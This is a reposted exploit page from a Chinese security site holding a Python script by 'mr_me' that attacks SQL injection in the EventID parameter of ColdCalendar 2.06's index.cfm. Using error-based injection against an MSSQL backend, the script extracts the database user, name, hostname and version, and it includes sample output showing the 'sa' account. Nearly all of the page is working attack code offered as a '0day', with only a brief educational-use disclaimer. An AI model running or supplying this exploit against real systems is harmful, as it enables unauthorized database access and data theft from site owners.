首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ColdCalendar 2.06 SQL Injection Exploit
来源:ninja.net 作者:mr_me 发布时间:2010-09-08  

#!/usr/bin/python
# ColdGen - coldcalender v2.06 Remote 0day SQL Injection Exploit
# Vendor: http://www.coldgen.com/
# Found by: mr_me
# ----------------------------------------------->
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# ----------------------------------------------->
# The vulnerability:
# ===================
# - SQL Injection in the index.cfm using parameters: EventID
#
# This tool assumes the target has a MSSQL backend.
# ./ColdCal0day.py -p localhost:8080 -t localhost:8500 -d /coldcal/
#
#  | ----------------------------------------------------------- |
#  |  -= ColdCalender v2.06 Remote 0day SQL Injection Exploit =- |
#  | --------------[ by mr_me - net-ninja.net ]----------------- |
#
# (+) Exploiting target @: http://localhost:8500/coldcal/
#
# (+) Testing Proxy...
# (+) Proxy @ localhost:8080
# (+) Building Handler..
#
# (!) Found database version:
#
#  Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86)
#  Aug  19 2006 20:47:07
#  Copyright (c) 1988-2005 Microsoft Corporation
#  Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
#
# (!) Found database hostname: 127.0.0.1
#
# (!) Found database user: sa
#
# (!) Found database name: coldcal

import sys, httplib, urllib2, urllib, re
from optparse import OptionParser

usage = "./%prog [<options>] -t [target] -d [directory]"
usage += "\nExample: ./%prog -p localhost:8080 -t localhost:8500 -d /coldcal/"

parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
                  help="HTTP Proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
                  help="The Target server <server:port>")
parser.add_option("-d", type="string", action="store", dest="directory",
                  help="Directory path to the CMS")
(options, args) = parser.parse_args()

def banner():
    print "\n\t| ----------------------------------------------------------- |"
    print "\t|  -= ColdCalender v2.06 Remote 0day SQL Injection Exploit =- |"
    print "\t| --------------[ by mr_me - net-ninja.net ]----------------- |\n"

if len(sys.argv) < 5:
 banner()
 parser.print_help()
 sys.exit(1)

def getProxy():
 try:
  pr = httplib.HTTPConnection(options.proxy)
  pr.connect()
  proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
 except(socket.timeout):
  print "\n(-) Proxy Timed Out"
  sys.exit(1)
 except(),msg:
  print "\n(-) Proxy Failed"
  sys.exit(1)
 return proxy_handler

def setTargetHTTP():
 if options.target[0:7] != 'http://':
  options.target = "http://" + options.target
 return options.target
 
def getRequest(exploit):
 if options.proxy:
  try:
   proxyfier = urllib2.build_opener(getProxy())
   check = proxyfier.open(options.target+options.directory+exploit).read()
  except urllib2.HTTPError, error:
   check = error.read()
  except socket.error:
   print "(-) Proxy connection failed"
   sys.exit(1)
 else:
  try:
   req = urllib2.Request(options.target+options.directory+exploit)
   check = urllib2.urlopen(req).read()
  except urllib2.HTTPError, error:
   check = error.read()
  except urllib2.URLError:
   print "(-) Target connection failed, check your address"
   sys.exit(1)
 return check

basicInfo = {'user: ':'user_name()', 'name: ':'db_name()', 'hostname: ':'host_name()','version: \n\n\t':'@@version'}

def basicSploit(info):
 return "index.cfm?fuseaction=ViewEventDetails&EventID=1+and+1=convert(int," + info + ")--"

if __name__ == "__main__":
 banner()
 options.target = setTargetHTTP()
 print "(+) Exploiting target @: %s" % (options.target+options.directory)
 if options.proxy:
  print "\n(+) Testing Proxy..."
  print "(+) Proxy @ %s" % (options.proxy)
  print "(+) Building Handler.."

 for key in basicInfo:
  getResp = getRequest(basicSploit(basicInfo[key]))
  if re.findall("the nvarchar value '", getResp):
   dbInfo = getResp.split('the nvarchar value '')[1].split('' to data type int')[0]
   print "\n(!) Found database %s%s" % (key, dbInfo.rstrip())  


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Java Bridge v. 5.5 Directory T
·ColdUserGroup 1.06 Blind SQL I
·Novell Netware NWFTPD RMD/RNFR
·QQPlayer 2.3.696.400p1(.wav) D
·win32/vista sp1 ING. (cmd.exe)
·Internet Download Accelerator
·phpcrs <= 3.Za / Local File In
·Integard Home and Pro v2 Remot
·IZArc DLL Hijacking (ztv7z.dll
·Live School Portal Database Di
·HP OpenView NNM webappmon.exe
·WebWiz Denial of Service POC
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved